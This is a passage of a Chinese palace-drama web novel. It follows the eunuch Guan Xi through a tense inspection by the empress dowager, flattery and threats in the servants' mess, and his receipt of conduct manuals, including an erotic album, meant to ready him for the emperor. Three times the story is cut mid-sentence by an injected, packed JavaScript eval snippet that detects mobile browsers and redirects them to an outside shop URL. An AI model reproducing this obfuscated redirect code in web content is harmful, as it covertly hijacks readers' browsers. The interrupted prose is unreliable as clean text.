最令人印象深刻的是她的脸。三十八岁的年纪,保养得宜,肌肤紧致,眼角仅有几丝极淡的纹路,不仅无损容颜,反添威仪。柳眉杏眼,顾盼间自有洞悉世情的从容。鼻梁秀挺,唇形优美,唇角天然微微上翘,即使不笑也带着三分和气,然而那通身的气度,却让人绝不敢因这和气而有丝毫怠慢。 这便是十五岁生子,三十三岁已稳坐太后之位,亲手将儿子扶上帝位的郑书意。 她坐下,冯媛亲自奉茶。郑书意接过来,轻轻拨了拨茶沫,目光扫缓缓过书斋。 “冯昭仪这书斋,倒是越发雅致清静了。哀家记得你素来爱读书,协理宫务之余,还能有此闲情,难得。”郑书意开口,语气家常。 冯媛欠身,笑容温婉得体:“太后娘娘过誉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17002494|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。臣妾不过是附庸风雅,借几本书打发辰光罢了。比不得娘娘学识渊博,胸怀天下。” 郑书意笑了笑,不置可否,目光似无意般掠过屋内侍立的众人,在低垂着头的关禧身上,停留了极其短暂的一瞬。 关禧只觉得那目光如有实质,虽只是一瞥,却能将人从里到外看透。他背上沁出一层冷汗,将头垂得更低。 “听闻皇帝前些日子,夜里来过你这里?”郑书意话题一转,语气随意。 冯媛神色不变,恭敬答道:“是。陛下那日路过,想起询问几桩宫务用度,便进来坐了坐。臣妾已将账目明细呈上,陛下看后便起驾了。” “嗯。”郑书意轻轻啜了口茶,“皇帝勤政,是万民之福。只是也要注意龙体,莫要太过操劳。你们在身边伺候的,也要多劝着些。” “臣妾谨记太后娘娘教诲。” 郑书意放下茶盏,目光再次转向书架,这次停留的时间稍长,“哀家年轻时候,也爱看些杂书。可惜如今眼神不如从前了。冯昭仪这里可有什么新进的、有趣的本子?拿来给哀家瞧瞧,解解闷。” 冯媛连忙示意楚玉。楚玉会意,快步走到书架前,小心取了几本装帧精美,看似话本游记类的书籍,双手奉上。 郑书意接过,随手翻看,似乎真的只是来找书闲聊。书斋内气氛看似松弛下来。 然而,就在楚玉退回原位时,郑书意翻书的动作一顿,抬起眼,目光再次落向关禧的方向,这次更为明确。 “那个角落站着的小太监,”郑书意声音不高,却让所有人精神一凛,“看着脸生。是新来的?” 关禧浑身一僵,心脏骤缩。 冯媛目光微闪,脸上笑容不变,温声答道:“回太后娘娘,这是臣妾宫中书斋伺候笔墨的小太监,名唤小离子。入宫有些时日了,只是平日多在书斋做事,少见天颜,故而娘娘觉得面生。” “小离子?”郑书意重复了一遍,若有所思,“抬起头来,让哀家瞧瞧。” 该来的,终究来了。 关禧深吸一口气,强迫自己镇定,缓缓抬起头,目光恭敬地落在太后胸前凤纹以下的位置。他能感觉到太后那锐利而通透的视线,像最精细的尺,丈量着他的五官,审视着他每一寸表情。 时间仿佛被拉长。 半晌,郑书意才轻轻“嗯”了一声,听不出喜怒:“模样倒是齐整。在书斋伺候,可识得字?” 关禧喉咙发干,依着楚玉教导的答案,谨慎回道:“回太后娘娘,奴才愚钝,只识得几个常用字,会写些简单数目,勉强能应付差事。” “能应付差事便好。”郑书意语气平淡,目光未移开,随口问道,“冯昭仪协理宫务,账目琐碎,你可曾出过差错?” “奴才不敢。娘娘教诲严谨,每一笔出入都需反复核对,奴才战战兢兢,唯恐有负娘娘信任。”关禧答得滴水不漏。 郑书意看了他片刻,极淡地笑了笑:“是个谨慎的。皇帝那日来,可曾问起过你?” 这话问得突然,且直指核心。关禧背上冷汗更多,脑中飞速转动,脸上竭力维持着镇定:“陛下天威赫赫,奴才卑贱,岂敢近前。那日陛下与娘娘叙话,奴才只在门外听候吩咐,未曾得见天颜。” 他一口咬定自己未近前,更未与皇帝有直接接触。这是楚玉反复强调的底线,在真正被推出去之前,绝不可主动承认或透露任何可能引起额外关注的信息,尤其是来自太后这种级别的关注。 郑书意闻言,目光在关禧低垂恭敬的脸上又停留了一瞬,那眼神深邃。随即,她移开视线,重新落回手中的书卷上,仿佛刚才那一问只是随口一提。 “嗯,守本分是好事。”她语气恢复如常,甚至带上了几分闲聊的慵懒,“冯昭仪调理下人,是越来越用心了。” 冯媛连忙谦辞:“太后娘娘谬赞,是臣妾分内之事。” 接下来,郑书意又问了冯媛几句宫中琐事,态度始终温和,就像一位关心晚辈的寻常长辈。约莫一盏茶后,她便起身,言说永寿宫还有事,起驾离去。 冯媛率众恭送。 直到太后的仪仗彻底消失在宫道尽头,书斋内的空气才重新开始流动。 关禧依旧站在原地,腿有些发软。刚才那番问答,看似平淡,实则凶险。太后那双眼睛,给他的压力,竟不亚于那晚面对皇帝。 冯媛走回主位坐下,端起已然凉透的茶,用杯盖轻轻拨弄着水面。楚玉垂手立在一旁,面无表情。 “太后娘娘今日,倒是好兴致。”冯媛忽然开口,声音不大,像是自言自语。 楚玉低声道:“永寿宫近日得了江南新贡的云锦和香茗,太后娘娘或许是来与娘娘分享。” 冯媛轻笑一声,放下茶盏,那笑意却未达眼底:“分享是假,敲打是真。玉芙宫风头太盛,皇后那边又过于沉寂,太后这是提醒六宫,谁才是真正定盘星呢。”她顿了顿,目光瞥向垂首肃立的关禧,“顺带,也来看看咱们承华宫新添的这抹景致。” 关禧心头一凛。 “不过,你方才答得还算稳妥。”冯媛语气缓和了些,“记住,在宫里,有时候,没被记住,才是最大的幸运。尤其是在太后面前。” “奴才谨记娘娘教诲。”关禧躬身。 “下去吧。”冯媛挥挥手。 42.第 42 章 关禧躬身退出了书斋,冯媛那句“没被记住才是最大的幸运”犹在耳边,混合着太后那洞察一切的目光,让他心头沉甸甸的。 看似有惊无险,但他知道,自己这张脸,还有冯昭仪宫里书斋红人的身份,怕是已经落入某些大人物的眼中。 低调?只怕越来越难。 他沿着熟悉的路径走回自己位于西厢的小屋,想独自静一静,消化今日这番心惊。但刚转过廊庑,还没到住处,就瞧见小太监顺子正伸长脖子朝他这边张望,见他出现,眼睛一亮,小跑着迎了上来。 “离子哥!你可回来了!”顺子脸上堆着热切又带着点讨好的笑,“膳房那边今日有难得的肉臊子浇头,去晚了可就只剩清汤寡水了!陈公公方才还问起你呢,我说你去书斋伺候了,他点点头没说什么,但咱们赶紧去吧?” 关禧看着顺子这张不过十四五岁,还带着点稚气的脸,想起刚到承华宫时,对方虽不至于像曹旺那伙人般欺辱他,却也多是漠然旁观,客气而疏远。何时起,开始叫上“哥”,开始主动通风报信,甚至带上了这般明显的巴结? 他知道为什么。冯昭仪的书斋,太后突如其来的注目,还有他自己这副被精心调养后愈发惹眼的面孔。在这深宫里,哪怕只是太监堆里,风向也变得快。 胃里适时传来一阵空虚的鸣响。他确实饿了。 “嗯,走吧。”关禧淡淡应了一声,脸上没什么表情,率先朝着后院膳房的方向走去。 顺子连忙亦步亦趋地跟上,嘴里还絮叨着,“离子哥你今日在书斋伺候,可瞧见太后娘娘了?天爷,那可是太后!听说太后娘娘年轻时就了不得,模样气度……” 关禧没接话,加快了些脚步。顺子识趣地住了嘴,但眼神里的羡慕藏不住。 承华宫后院的膳房区域比前殿喧嚣得多,弥漫着油烟,食物和许多人聚集的气味。天色已暗,几盏昏黄的气死风灯挂在棚屋檐下,将攒动的人影拉得忽长忽短。 关禧一出现,原本嘈杂的棚屋内,声音诡异地低了一瞬。不少目光或明或暗地扫了过来,落在他身上。那些目光里有好奇,有打量,有估量,也有掩饰不住的嫉妒。他穿着与众人一般的靛青色太监服,但浆洗得干净挺括,衬得人越发修长。几日未见,他似乎又挺拔了些许,脸色虽仍偏白,却不再是病态的苍白,而是一种玉质的润泽。眉眼间的精致被昏黄灯光柔化,更显出一种与周遭粗糙环境格格不入的清冷。 他目不斜视,径直走向打饭的窗口。掌勺的太监看到他,原本耷拉的眼皮掀了掀,没像往常那般爱答不理,勺子往那盛着肉臊子的盆里多探了探,舀了结结实实一勺,扣在关禧碗里的杂烩菜上,肉末和油花明显比别人多了不少。 “谢公公。”关禧低声道谢,语气平淡。 那太监从鼻子里“嗯”了一声,眼神在他脸上打了个转,又飞快移开。 关禧端着沉甸甸的碗,转身想找个角落的桌子。往日他多是独自一人。但今日,他刚走了两步,就被拦住了。 “哎哟,离子兄弟!这儿有位置,这儿宽敞!”一个略显尖细的嗓音响起。 关禧抬眼,是刘宝,一个在承华宫负责洒扫庭院有些年头的老油子太监,平日里跟陈立德走得近,也算有点小脸面。此刻他正坐在一张靠里的桌子旁,旁边还坐着两三个平日与他交好的太监。那张桌子确实宽敞,平日里也多是他们那伙人占据。 刘宝脸上堆着笑,眼角的皱纹都挤在了一起,一边说一边用手拍了拍身旁的空位。他旁边那几个太监也纷纷附和,脸上都带着热络。 “是啊离子,一个人吃多没意思,过来一起,热闹!” “就是就是,听说你今天在太后面前都露了脸?快给咱们讲讲,太后娘娘凤颜如何?” 关禧脚步顿了顿。他知道这是避不开了。在这宫里,捧高踩低是常态,他如今在旁人眼里,显然是那高起来的。拒绝了,反显得不识抬举,也容易落下话柄。 他略一颔首,端着碗走了过去,在刘宝让出的位置上坐下。顺子见状,也麻溜地挤到了桌子另一边。 “离子兄弟现在可是咱们承华宫的头一份儿了,”刘宝夹起一筷子菜,眼睛瞄着关禧碗里的肉臊子,语气艳羡,“书斋的差事清贵,又能常在娘娘跟前走动。瞧瞧,连膳房的王老勺都给你多打肉!咱们这些人,可是羡慕不来哟。” 旁边一个瘦高太监立刻接口:“可不是嘛!离子兄弟这气度,这模样,一看就不是池中之物。将来要是得了陛下青眼,飞黄腾达了,可别忘了咱们这些老兄弟啊!”这话半是恭维半是试探,眼神里藏着一丝不易察觉的酸意。 关禧慢条斯理地掰开手里的黄面馍馍,就着菜汤咬了一口,咀嚼咽下,才抬起眼,目光平静地扫过桌上几人:“刘公公说笑了,我不过是个听差跑腿的,靠着娘娘和陈公公提点,勉强不出错罢了。至于陛下……”他顿了顿,声音更淡了些,“天威难测,岂是我们做奴才的能妄加揣测的。各位公公都是宫里的老人,比我懂得多,我还要向各位多请教规矩才是。” 他这番话说得不卑不亢,既撇清了飞黄腾达的敏感话题,又把姿态放低,将功劳推给冯昭仪和陈立德,顺带捧了在座的一下。 刘宝几人听了,脸上的笑容更真切了些,心里却暗自嘀咕:这小子,看着年纪不大,说话倒是有几分章法,难怪能入娘娘的眼。 “请教不敢当,互相帮衬罢了。”刘宝打着哈哈,话题一转,“说起来,离子兄弟这身子骨是越发好了,脸色也红润。看来张太医的方子果真灵验。娘娘对你是真上心啊。” 这话又引到了关禧的相貌和受宠上。 旁边另一个矮胖太监咂咂嘴,盯着关禧的脸,啧啧两声:“要我说,离子兄弟这长相,真是……啧,宫里多少小主怕是都比不上。也难怪王公公当初那般费心挑进来。这要是放在前朝,指不定就是个……” “咳咳!”刘宝重重咳嗽一声,打断了矮胖太监后面可能更出格的话,瞪了他一眼,“吃你的饭!胡咧咧什么!” 那矮胖太监也自知失言,缩了缩脖子,埋头扒饭。 关禧握着筷子的手紧了紧,指尖微微泛白,但脸上没什么表情,仿佛没听见那句冒犯又带着某种暧昧揣测的话。他低下头,专注地吃着碗里的食物。 棚屋内恢复了嘈杂,各桌都在议论着白日太后驾临的见闻,或是宫里最新的传闻。关禧这桌,刘宝等人见他似乎不愿多谈自己,便也识趣地转移了话题,说起了各宫的闲话。 “听说玉芙宫那位,近日害喜害得厉害,御膳房变着花样做,还是吐得厉害。”瘦高太监压低声音。 “能不金贵么?肚子里揣着龙种呢。”矮胖太监嘟囔,“赏赐跟流水似的往玉芙宫送,连带着徐昭容娘家都跟着沾光,她兄长前几日好像又升了半级?” “哼,烈火烹油,未必是福。”刘宝老神在在喝了口菜汤,“宫里孩子……是那么容易养大的?盯着的人多了去了。” 这话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005609|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意有所指,桌上几人心照不宣地交换了个眼神。 关禧默默听着,不插话,将最后一点馍馍塞进嘴里,又端起碗,菜汤喝得一滴不剩。 他放下碗,拿起帕子擦了擦嘴,准备起身告辞。 就在这时,棚屋门口光线一暗,几个身影晃了进来。为首一人,身形粗壮,脸上带着横肉,正是许久不见的曹旺。他身后跟着两个平日里与他一同欺压过低等太监的跟班。 曹旺的脸色有些阴沉,目光在棚屋内一扫,很快就锁定了关禧这一桌。他的视线在关禧脸上停顿了一下,那眼神复杂,混合着不甘,嫉恨,还有一丝难以掩饰的惊疑,显然,他也看出了关禧的变化。 刘宝等人看到曹旺,脸色都有些不自然,声音也低了下去。曹旺虽然因为之前的事被楚玉敲打过,禁足了一段时间,但余威犹在,尤其是对他们这些底层太监来说。 曹旺带着人,径直朝着关禧这桌走了过来。棚屋内的喧闹声又低了几分,许多目光悄悄投来,带着看好戏的意味。 刘宝连忙站起身,赔着笑:“曹公公,您也来用膳?这边坐,这边坐……” 曹旺没理会刘宝的殷勤,他停在桌前,目光落在刚刚放下碗神色平静的关禧身上,扯了扯嘴角,露出一个算不上笑的表情:“小离子,好久不见啊。听说你现在混得不错?连太后娘娘都惊动了?” 关禧站起身,与曹旺平视。他如今身量抽高,虽不及曹旺粗壮,但站直了,气势上竟不输多少。他微微躬身,礼数周全,“曹公公。我只是奉命当差,不敢说混。太后娘娘驾临,是娘娘的恩典,小的唯有惶恐,不敢有丝毫怠慢。” 一番话说得滴水不漏,恭敬却疏离。 曹旺盯着他看了几秒,嗤笑一声:“行啊,长进了。看来书斋的墨水没白沾,说话都一套一套的。”他上前一步,距离关禧更近,压低声音,“不过,别忘了自己是什么东西。爬得再高,有些根儿是变不了的。小心……摔下来,更疼。” 关禧眼皮都没抬一下,只垂眸看着地面:“谢曹公公提点。我时刻不敢忘本。” 曹旺见他这副油盐不进的样子,心头火起,但想起楚玉的警告,还有关禧如今明显不同的地位,终究没敢再像以前那样动手动脚。他重重哼了一声,猛地撞开关禧的肩膀,带着跟班走向打饭窗口,一路骂骂咧咧。 棚屋内的气氛这才重新松动。 刘宝等人松了口气,看向关禧的眼神又多了几分不同。能这样不软不硬地顶住曹旺,这小子,确实和以前那个任人揉搓的小离子不一样了。 关禧没再看曹旺那边,对刘宝几人微微颔首:“几位公公慢用,我先回去了。” 说完,他端起自己的空碗筷,走向回收处,步伐平稳,背影挺直。 走出膳棚,秋夜的凉风扑面而来,带着远处飘来的隐约桂花香气。 关禧深吸一口气,又缓缓吐出。 攀附,嫉恨,试探,威胁……这就是他如今身处的环境。冯昭仪的棋子,太后眼中的景致,同僚眼里的红人,曹旺之流的眼中钉。 往上爬?楚玉说得轻巧。 这条路,每一步都踩着荆棘,四周环伺着豺狼。 不过…… 至少,今晚的饭里,肉多了些。 他拢了拢衣襟,踏着青石板上被灯火拉长的影子,一步步,走回那间暂时属于他的小屋。 明天,太阳照常升起。 而他要学的,要面对的,只会更多。 43.第 43 章 沐房的湿气还黏在鬓角,带着廉价澡豆的涩味,被夜风一吹,凝成细微的凉意,顺着颈窝往单薄的衣领里钻。关禧提着空木盆,踩着青石板上的月色,惨白,清冷,将承华宫西厢这片僻静角落照得轮廓分明,也照得他形单影只。 然后,他看见了那盏灯。 不是廊下固定悬挂的气死风灯,而是一盏提在手里的六角琉璃宫灯,暖黄的光晕朦朦胧胧,在秋夜沁骨的寒凉中圈出一小团温存的领域。灯下垂着一只素手,手指纤长,稳稳提着灯柄。手的主人披着一件深青色的斗篷,兜帽未戴,露出楚玉那张在灯影下半明半昧的脸。她另一只手,提着一个黑漆螺钿的食盒,不大,样式却精巧。 她就那么站在他小屋的门前,像是等候多时,又像是刚刚到来。夜风吹动她斗篷的一角,露出底下淡青色的宫装裙摆,与她身后斑驳的门板,檐下干枯的藤蔓形成一种奇异的对照,她是这片陈旧死寂里,唯一流动而带着温度的存在,尽管那温度,可能也只是灯焰的错觉。 关禧的脚步在离她几步远的地方停下。木盆的边缘抵着掌心,传来粗砺的触感。他看着她,没说话,喉结滚动了一下。 楚玉的目光也落在他身上,从头到脚,很平静地扫过。他刚洗过的头发还湿着,未曾完全绞干,几缕碎发贴在额角和颈侧,在琉璃灯的光晕下黑得润泽。身上是那套干净的靛青色太监常服,因为沐浴后匆忙穿上,衣带系得有些松散,领口微微敞着,露出一小截同样被水汽浸润过,过分白皙的锁骨。脸上被热水蒸出的红晕已褪去大半,恢复成一种玉质的冷白,眉眼在灯下越发清晰,那股介于少年与青年之间模糊了性别的精致感,在夜色里无声弥漫。 “回来了。”楚玉先开口,声音不高,被夜风吹得有些飘忽。 关禧点点头,算是回应。他往前走了几步,又停下,目光落在她手中的食盒上。 “顺路去了趟小厨房,新做的枣泥山药糕,火候过了些,弃之可惜。”楚玉的语气平淡得像在陈述一件与己无关的公事,提着食盒的手抬了抬,“你夜里若看书饿了,可以垫一垫。” 枣泥山药糕。不是御膳房赏下来的精致点心,而是承华宫小厨房自己捣鼓的东西。火候过了?关禧不太信。楚玉做事,从来不会火候过了。 这更像是……一个理由。 一个让她可以在夜深人静时,提着灯和食盒,出现在他门口勉强说得过去的理由。 他沉默着。理智在提醒他,这或许又是某种试探,某种他尚未理解的宫廷戏码的一部分。就像之前的药,之前的教导,之前的若即若离。可胃里空落落的感觉,以及更深处某种对不一样的微弱渴求,却推着他,让他无法干脆地拒绝。 他最终还是伸出手,接过了那个食盒。 “谢谢。” 楚玉没应这句谢,目光在他接过食盒时微微蜷起的手指上停留了一瞬,随即移开,望向屋檐外那轮清冷的月亮,“太后今日问起你,虽只是随口一提,但永寿宫的眼睛,不会只看一次。” “娘娘的意思,你最近行事更需谨慎。书斋的差事照旧,但若无必要,少在人前走动。曹旺那些人,不过是秋后蚂蚱,不必理会。但要当心,有人会借着他们的嘴,传些不该传的话。” 这是在提醒他,太后可能已经留意,冯昭仪希望他暂时低调,同时防备有人借曹旺之流生事。寥寥数语,信息量却大。 “我明白。”关禧握紧了食盒的提梁。 楚玉点点头,似乎就该转身离开了。可她站着没动,琉璃灯的光晕在她脸上摇曳,让她惯常冷冽的眉眼柔和了少许,也让她眼底那些深不见底的东西,更加难以捉摸。 夜风更凉了些,卷起地上的落叶,发出沙沙的轻响。 半晌,她忽然极轻地问了一句,声音低得几乎要被风吹散:“那首诗……独钓寒江雪的下一句,是什么?” 关禧愣住了,完全没料到她会在这时候,突然提起这个。那首《江雪》只有四句,哪来的下一句?她是在问原诗的后续,还是另有所指? “没有下一句。千山鸟飞绝,万径人踪灭。孤舟蓑笠翁,独钓寒江雪……就这些了。” “就这些了?”楚玉轻轻重复,像是品味着这几个字,“独钓寒江雪,然后呢?雪会停吗?那蓑笠翁,钓到了什么?还是就一直那么钓下去?” 这问题太过怪异,超出了诗词本身,甚至带着点哲学般的飘渺。关禧答不上来,他当初想起这首诗,只是觉得意境孤绝,贴合心境,何曾想过然后。 “我不知道。”他老实说,“或许……雪会停,或许不会。钓没钓到,也只有那翁自己知道。” 楚玉听了,唇角弯起一个极淡弧度,转瞬即逝,“是啊,只有自己知道。”她低语,目光再次落回关禧脸上,这次停留的时间稍长,“在这宫里,很多时候,也就是这样。独钓寒江雪。钓得到是造化,钓不到……也得继续钓着。” 她的话里藏着太多东西,关禧似懂非懂。 楚玉不再多言,提起宫灯,转身欲走。 “楚玉。”关禧叫住她。 楚玉脚步一顿,侧过半边脸,琉璃灯的光映亮她优美的下颌线条。 关禧举起手中的食盒,声音比刚才稳了些:“这个……真的只是火候过了?” 楚玉静默了一息,夜风拂动她鬓边的碎发。 “不然呢?”她反问,语气听不出情绪,“难不成,还是特意为你做的?” 说完,她不再停留,提着那盏暖黄的宫灯,走进了沉沉的夜色里。光影摇曳,渐行渐远,最终消失在廊庑拐角,只留下满地清霜,和站在原地提着食盒有些发怔的关禧。 他低头看了看手中精巧的食盒,又抬头望了望楚玉消失的方向。鼻尖似乎还能嗅到一丝极淡的,不属于糕点的冷香。 站了片刻,他才转身,用肩膀顶开虚掩的房门,走了进去。 屋内没有点灯,只有窗外月色渗入,勾勒出简陋家具的轮廓。他将木盆放在墙角,食盒搁在唯一的那张旧木桌上。 迟疑了一下,他还是打开了食盒盖子。 里面整齐码放着四块枣泥山药糕,不是想象中的焦黑或干硬,是一种温润的米白色,点缀着深红的枣泥馅心,小巧精致,散发着淡淡的枣香和山药清甜的气息,丝毫没有火候过了的痕迹。 关禧拈起一块,触手微温,松软适度。他咬了一小口,枣泥的甜糯和山药的粉糯在口中化开,味道恰到好处,甚至比他之前吃过的一些赏赐点心更合口。 他慢慢地吃着,一块糕点很快下肚。胃里暖和起来,连带这间冰冷的小屋,也多了点微不足道的暖意。 他走到窗边,推开一条缝隙。夜风灌入,吹散糕点的甜香,也吹醒了他有些恍惚的思绪。 楚玉的话,糕点的温度,太后审视的目光,曹旺不甘的眼神,刘宝等人的巴结,冯昭仪深不见底的棋盘……所有碎片在脑海中翻涌。 “独钓寒江雪……”他喃喃念道。 然后呢? 他不知道。 * 那夜之后,又是几日过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17010457|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去。 承华宫内一切如常。冯昭仪每日处理宫务,偶尔去皇后宫中请安,或在御花园偶遇其他妃嫔,言笑晏晏间皆是体面周全。楚玉跟在身边,沉静如影,只在无人处看向关禧时,那双古井般的眼中会掠过一丝难以捕捉的复杂。 关禧也依旧做着书斋的差事。他变得更加沉默,更加专注。账册上的数字,文书里的字句,他都看得格外仔细。偶尔,他会抬起头,透过窗棂望向宫墙外那片被切割成四方形的天空,眼神空茫一瞬,随即又垂下,继续手中的工作。 可该来的,总会来。 这日午后,秋阳正好。关禧正将一批核对完毕的采买单据按年份月份归档,书斋门外传来脚步声,是陈立德。 “小离子,”陈立德站在门口,脸上没什么表情。“娘娘唤你过去,现在。” 关禧放下手中的册子,直起身。应道:“是。 跟着陈立德穿过回廊,秋日的阳光透过稀疏的梧桐叶,在青石板上投下斑驳的光影。关禧垂着眼,盯着自己的鞋尖,每一步都走得格外平稳,可袖中的手却不自觉地握紧了。 正殿内,冯媛正端坐在紫檀木书案后,手里拿着一卷账册,似乎在看,又似乎只是摆个样子。楚玉立在她身侧,眉眼低垂。 见关禧进来,冯媛抬起眼,目光温和地落在他身上。 “给娘娘请安。”关禧跪下行礼。 “起来吧。”冯媛放下手中账册,声音温婉,“近日书斋的差事,做得越发妥帖了。本宫看过你整理的历年用度对比,条理清晰,倒是有心了。” 关禧垂首:“娘娘谬赞,奴才分内之事。” 冯媛轻轻笑了笑,端起手边的茶盏,用杯盖拨了拨浮沫,却不喝。她沉默了片刻,书斋内只有窗外偶尔传来的风声。 “本宫前日与陛下请安时,陛下提起,宫中近来沉闷,想寻些解闷的新鲜玩意儿。”冯媛缓缓开口,语气闲适得像在聊家常,“本宫便想起,你入宫也有些时日了,身子也养得差不多了。该学的规矩,该懂的事,总不能一直耽搁着。” 关禧的背脊几不可察地绷紧了。来了。 冯媛的目光在他脸上停留,“陛下日理万机,难得有兴致。若是伺候的人不懂事,扫了兴致,反倒不美。” 她顿了顿,对身侧的楚玉道:“青黛,前几日让你准备的东西,可备好了?” 楚玉躬身应道:“回娘娘,已备要。” 冯媛点点头,对关禧道:“本宫让青黛寻了几本册子,里头记着些侍奉君上的规矩仪注,还有……些该懂的常识。你且拿回去,仔细看看。若有不明白的,便问青黛。她自会教你。” 说着,楚玉已走到一旁的多宝阁前,从最上层一个不起眼的格子里,取出了一个用靛蓝色布包裹的方形物件。那包裏不大,约莫两指厚,书本大小。 楚玉捧着那包裹,走到关禧面前,她的目光与他短暂相接,又迅速移开,眸色沉静无波,将包裹递了过来。 关禧看着那靛蓝色的布包,喉咙发干。他伸出双手,接过。入手不重,布料粗糙,包裹得严严实实,看不出里面是什么。 “谢娘娘恩典。” “回去好生看,仔细学。三日后,本宫要考校你。若是学得好……”冯媛勾唇,未尽之意却比明说更让人心头发寒,“本宫自会在陛下面前,为你美言几句。” “奴才定当尽心。”关禧深深躬身。 “下去吧。”冯媛挥了挥手,重新拿起那卷账册,仿佛刚才那番对话不过是个无关紧要的插曲。 44.第 44 章 关禧捧着那靛蓝色的包裹,退出了正殿。 秋日的阳光依旧灿烂,照在身上却感觉不到丝毫暖意。他低着头,快步走回西厢自己的小屋,反手将门闩上,走到桌边,将那包裹放在桌上。 靛蓝色的粗布在昏暗的光线下显得格外刺眼。他盯着它看了许久,最终,他还是伸出手,解开了系着的布结。布包展开,露出里面的东西。 是三本册子。 最上面一本,封面是普通的靛蓝色绢面,写着《内侍规仪注疏》几个工整的楷字。关禧翻开,里面确实是宫中内侍侍奉的各种规矩,仪注,进退应对之礼,字迹工整,内容详实,看起来再正常不过。 他放下这本,看向第二本。 这本册子略薄,封面是暗红色的锦缎,没有题字。他翻开,里面是手抄的文字,字迹与第一本不同,更加随意些。内容是关于龙体安康,饮食起居的注意事项,如何察言观色,如何应对天子不同情绪时的举动,甚至还有一些简单的按摩手法图示。虽也涉及贴身伺候,但仍在侍奉的范畴内,只是比第一本更具体,更私人。 关禧深吸一口气,拿起了第三本。 这本册子最薄,封面是某种深褐色的皮革,触手微凉,同样没有题字。 他翻开第一页。 不是文字。是画。 工笔细描,设色浓艳的画。画中是两个男子。虽因年代久远或保存不当,颜色有些黯淡,线条也有些模糊,但那画面传达的内容却清晰得刺眼。 姿态,动作,神情…… 关禧猛地合上册子,像被烫到一样将它扔回桌上,踉跄着后退几步,背脊撞上墙壁,才稳住身形。 那画面……太具体,太直白,太……恶心。 他闭上眼睛,可那画面挥之不去。画中人的神情,那种混合着痛苦,麻木,甚至一丝扭曲欢愉的表情…… 这就是冯昭仪要他学的常识?这就是楚玉要教他的东西? 第一本,是规矩,是体面,是遮羞布。 第二本,是技巧,是手段,是进阶。 第三本……是赤裸裸的真相,是他即将面对的,最不堪的屈辱。 冯媛用这种方式,将一切都摆在了他面前。 没有遮掩,没有委婉,就是用这最直白的方式告诉他:你的用处是什么,你该学什么,你的未来在哪里。 窗外日影西斜,最后一点光线也被暮色吞噬。 关禧就着窗外透进来的微弱天光,重新拿起了那本深褐色的皮册。 指尖冰凉,翻开。 这一次,他没有立刻合上。他强迫自己去看,去记住那些画面,那些细节。每一笔勾勒,每一处设色,每一个姿态,每一种可能发生的情形。 恶心感强烈,胃部痉挛,喉咙发紧。但他咬着牙,一页一页地翻过去。 他必须看。必须学。 因为楚玉说得对,想活着,往上爬,至少得先过了眼前这一关。如果连这都承受不了,那所谓的往上爬,活得像个人不过是痴人说梦。 不知看了多久,直到眼睛酸溫,直到那些画面即便在黑暗中也能清晰地浮现。他才放下册子,走到窗边,推开窗,深深吸了一口夜风带来的凉意。 接下来的两日,关禧将自己关在屋内。 他按时去书斋处理差事,但一旦做完,便立刻回来。他很少与人交谈,脸色比平日更苍白,眼下有着浓重的青黑。偶尔有相熟的小太监问起,他只说身子不适。 那三本册子,他看了不止一遍。 《内侍规仪注疏》他已烂熟于心。第二本关于侍奉技巧的,他也反复揣摩,那些按摩手法的图示,他甚至在无人时对着空气比划过。至于第三本……他看了第一遍后,便再也没有完整翻开过。 第三日傍晚,楚玉来了。 她依旧是一身淡青宫装,手里提着一个食盒,站在门外。 关禧打开门,看到她,没有意外。 “娘娘让我来考校你。”楚玉走进屋,将食盒放在桌上,声音平淡。 关禧关上门,站在她面前,垂着眼:“姐姐请问。” 楚玉没有立刻发问。她的目光扫过他苍白的脸,眼下明显的青黑,还有那紧抿着缺乏血色的唇。屋内没有点灯,只有窗外最后的暮色,将他单薄的身形勾勒得有些模糊。 “《内侍规仪注疏》第三卷第七条,御前奉茶,水温几何?步伐如何?视线落处?”她开始问,问题从最基础的规矩开始。 关禧对答如流,声音平稳,没有丝毫迟疑。 楚玉又问了几个关于应对天子不同情绪,不同场合下该如何言行的问题,关禧也都一一答上,条理清晰。 屋内渐渐暗下来,几乎看不清彼此的面容。 楚玉沉默了片刻,忽然问道:“若陛下让你近身伺候,宽衣解带,你当如何?” 这个问题,已经超出了前两本册子的范畴,直指核心。 关禧的呼吸一滞。昏暗中,他看不清楚玉的表情,只能听到她平静的声音。 “回姐姐,”他慢慢开口,声音有些发紧,“小的当谨遵规矩,动作轻缓,不疾不徐。解带时,手指需稳,不可颤抖。外袍褪下,需双手承接,置于一旁。中衣……需依陛下示意,若陛下未言,不可擅动。视线……当垂落,不可直视。” 